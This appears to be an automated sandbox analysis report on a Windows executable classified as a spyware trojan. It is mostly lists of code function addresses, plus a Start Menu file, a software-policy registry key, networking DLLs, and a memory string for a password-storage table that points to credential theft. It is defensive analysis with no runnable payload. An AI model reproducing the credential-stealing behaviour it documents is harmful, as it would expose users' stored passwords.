Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03136D79	9_2_03136D79
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313A378	9_2_0313A378
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03130960	9_2_03130960
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313BB60	9_2_0313BB60
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03133B90	9_2_03133B90
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03131B90	9_2_03131B90
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313F998	9_2_0313F998
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03133B80	9_2_03133B80
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313F987	9_2_0313F987
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03136D88	9_2_03136D88
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313E1B0	9_2_0313E1B0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03137FB7	9_2_03137FB7
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313C9B8	9_2_0313C9B8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03134DBF	9_2_03134DBF
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03131BA0	9_2_03131BA0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313E1A0	9_2_0313E1A0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313B1D1	9_2_0313B1D1
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03134DD0	9_2_03134DD0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03132DD0	9_2_03132DD0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03135FD8	9_2_03135FD8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031397D8	9_2_031397D8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031397C9	9_2_031397C9
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03137FC8	9_2_03137FC8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313C9C8	9_2_0313C9C8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03135FC8	9_2_03135FC8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03130DF0	9_2_03130DF0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313EFF7	9_2_0313EFF7
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03132DE0	9_2_03132DE0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313B1E0	9_2_0313B1E0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03130DE0	9_2_03130DE0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03137218	9_2_03137218
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03138A1C	9_2_03138A1C
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03130006	9_2_03130006
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313720B	9_2_0313720B
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313F008	9_2_0313F008
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313400F	9_2_0313400F
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313D80F	9_2_0313D80F
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03132030	9_2_03132030
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313C038	9_2_0313C038
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03134020	9_2_03134020
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313D820	9_2_0313D820
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03132026	9_2_03132026
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03138A28	9_2_03138A28
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313C028	9_2_0313C028
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313A850	9_2_0313A850
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03138458	9_2_03138458
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03136458	9_2_03136458
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03139C58	9_2_03139C58
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03130040	9_2_03130040
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313A840	9_2_0313A840
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03138448	9_2_03138448
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313524F	9_2_0313524F
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03133270	9_2_03133270
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03131270	9_2_03131270
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313E678	9_2_0313E678
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03133262	9_2_03133262
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03135260	9_2_03135260
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03136468	9_2_03136468
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313E668	9_2_0313E668
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313CE90	9_2_0313CE90
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313B697	9_2_0313B697
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03137698	9_2_03137698
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313CE81	9_2_0313CE81
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03131280	9_2_03131280
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031344B0	9_2_031344B0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031324B0	9_2_031324B0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03138EB8	9_2_03138EB8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031344A0	9_2_031344A0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031376A8	9_2_031376A8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313B6A8	9_2_0313B6A8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03138EA8	9_2_03138EA8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031304D0	9_2_031304D0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313F4D0	9_2_0313F4D0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313DCD7	9_2_0313DCD7
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031324C0	9_2_031324C0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031304C0	9_2_031304C0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313F4C0	9_2_0313F4C0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313C4F1	9_2_0313C4F1
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031356F0	9_2_031356F0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031368F8	9_2_031368F8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031356E0	9_2_031356E0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0313DCE8	9_2_0313DCE8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031368E8	9_2_031368E8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031336EF	9_2_031336EF
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03165B18	9_2_03165B18
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03160508	9_2_03160508
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316C298	9_2_0316C298
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316431F	9_2_0316431F
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316CF18	9_2_0316CF18
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03165B08	9_2_03165B08
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03164330	9_2_03164330
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316EB38	9_2_0316EB38
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03162B38	9_2_03162B38
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316D558	9_2_0316D558
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316134F	9_2_0316134F
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03162B48	9_2_03162B48
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316F178	9_2_0316F178
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03165178	9_2_03165178
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03161360	9_2_03161360
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03163990	9_2_03163990
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316DB98	9_2_0316DB98
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03165188	9_2_03165188
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316F7B8	9_2_0316F7B8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031621B8	9_2_031621B8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316C5B8	9_2_0316C5B8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031621A7	9_2_031621A7
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031639A0	9_2_031639A0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031609D0	9_2_031609D0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316E1D8	9_2_0316E1D8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031609C1	9_2_031609C1
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031647F8	9_2_031647F8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316CBF8	9_2_0316CBF8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031647E9	9_2_031647E9
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03161817	9_2_03161817
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03163010	9_2_03163010
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316E818	9_2_0316E818
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03160006	9_2_03160006
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03163003	9_2_03163003
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316563F	9_2_0316563F
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316D238	9_2_0316D238
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03161828	9_2_03161828
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316D228	9_2_0316D228
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03165650	9_2_03165650
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316EE58	9_2_0316EE58
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03163E58	9_2_03163E58
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03160040	9_2_03160040
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03162670	9_2_03162670
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316D878	9_2_0316D878
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03163E68	9_2_03163E68
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03160E98	9_2_03160E98
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316F498	9_2_0316F498
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03162680	9_2_03162680
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03160E89	9_2_03160E89
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316DEB8	9_2_0316DEB8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03164CAF	9_2_03164CAF
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03161CDF	9_2_03161CDF
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031634D8	9_2_031634D8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316C8D8	9_2_0316C8D8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316FAD8	9_2_0316FAD8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031634C7	9_2_031634C7
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03164CC0	9_2_03164CC0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03161CF0	9_2_03161CF0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_031604FB	9_2_031604FB
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0316E4F8	9_2_0316E4F8
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0356B580	9_2_0356B580
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03563BA0	9_2_03563BA0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03563EC0	9_2_03563EC0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03561940	9_2_03561940
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03564B40	9_2_03564B40
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03567D40	9_2_03567D40
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0356AF40	9_2_0356AF40
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03561F70	9_2_03561F70
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03560360	9_2_03560360
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03563560	9_2_03563560
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03566760	9_2_03566760
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03569960	9_2_03569960
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03567700	9_2_03567700
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03564500	9_2_03564500
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03561300	9_2_03561300
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0356A900	9_2_0356A900
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03569320	9_2_03569320
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03566120	9_2_03566120
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03562F20	9_2_03562F20
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_035689C0	9_2_035689C0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_035657C0	9_2_035657C0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_035625C0	9_2_035625C0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0356A5E0	9_2_0356A5E0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_035673E0	9_2_035673E0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_035641E0	9_2_035641E0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03560FE0	9_2_03560FE0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03568380	9_2_03568380
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03565180	9_2_03565180
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03561F80	9_2_03561F80
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03569FA0	9_2_03569FA0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03566DA0	9_2_03566DA0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_035609A0	9_2_035609A0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_035625AF	9_2_035625AF
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03560040	9_2_03560040
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03563240	9_2_03563240
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03566440	9_2_03566440
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03569640	9_2_03569640
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03561C60	9_2_03561C60
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03564E60	9_2_03564E60
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03568060	9_2_03568060
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0356B260	9_2_0356B260
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03567A10	9_2_03567A10
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03560006	9_2_03560006
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03569000	9_2_03569000
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03565E00	9_2_03565E00
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03562C00	9_2_03562C00
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0356AC20	9_2_0356AC20
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03567A20	9_2_03567A20
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03564820	9_2_03564820
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03561620	9_2_03561620
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_035670C0	9_2_035670C0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03560CC0	9_2_03560CC0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0356A2C0	9_2_0356A2C0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03568CE0	9_2_03568CE0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03565AE0	9_2_03565AE0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_035628E0	9_2_035628E0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03569C80	9_2_03569C80
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03566A80	9_2_03566A80
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03563880	9_2_03563880
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03560680	9_2_03560680
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_0356228F	9_2_0356228F
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_035686A0	9_2_035686A0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_035654A0	9_2_035654A0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_035622A0	9_2_035622A0
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03581C90	9_2_03581C90
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03583480	9_2_03583480
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Code function: 9_2_03583470	9_2_03583470

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Code function: String function: 00402B38 appears 47 times

Source: GuuQOl5kJR.exe, 00000000.00000002.1387287150.000000000044D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenametoggler triumvirates.exe4 vs GuuQOl5kJR.exe
Source: GuuQOl5kJR.exe, 00000009.00000000.1384885884.000000000044D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenametoggler triumvirates.exe4 vs GuuQOl5kJR.exe
Source: GuuQOl5kJR.exe	Binary or memory string: OriginalFilenametoggler triumvirates.exe4 vs GuuQOl5kJR.exe

Source: GuuQOl5kJR.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/30@5/5

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Code function: 0_2_004045C8 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004045C8

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Code function: 0_2_0040206A CoCreateInstance,

0_2_0040206A

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\separationerne

Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

File created: C:\Users\user\AppData\Local\Temp\nsaB180.tmp

Jump to behavior

Source: GuuQOl5kJR.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033AF3000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033B33000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033B03000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033B26000.00000004.00000800.00020000.00000000.sdmp, GuuQOl5kJR.exe, 00000009.00000002.2339510778.0000000033B11000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: GuuQOl5kJR.exe	Virustotal: Detection: 65%
Source: GuuQOl5kJR.exe	ReversingLabs: Detection: 52%

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe

File read: C:\Users\user\Desktop\GuuQOl5kJR.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\GuuQOl5kJR.exe "C:\Users\user\Desktop\GuuQOl5kJR.exe"
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process created: C:\Users\user\Desktop\GuuQOl5kJR.exe "C:\Users\user\Desktop\GuuQOl5kJR.exe"
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Process created: C:\Users\user\Desktop\GuuQOl5kJR.exe "C:\Users\user\Desktop\GuuQOl5kJR.exe"	Jump to behavior

Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\GuuQOl5kJR.exe	Section loaded: urlmon.dll	Jump to behavior
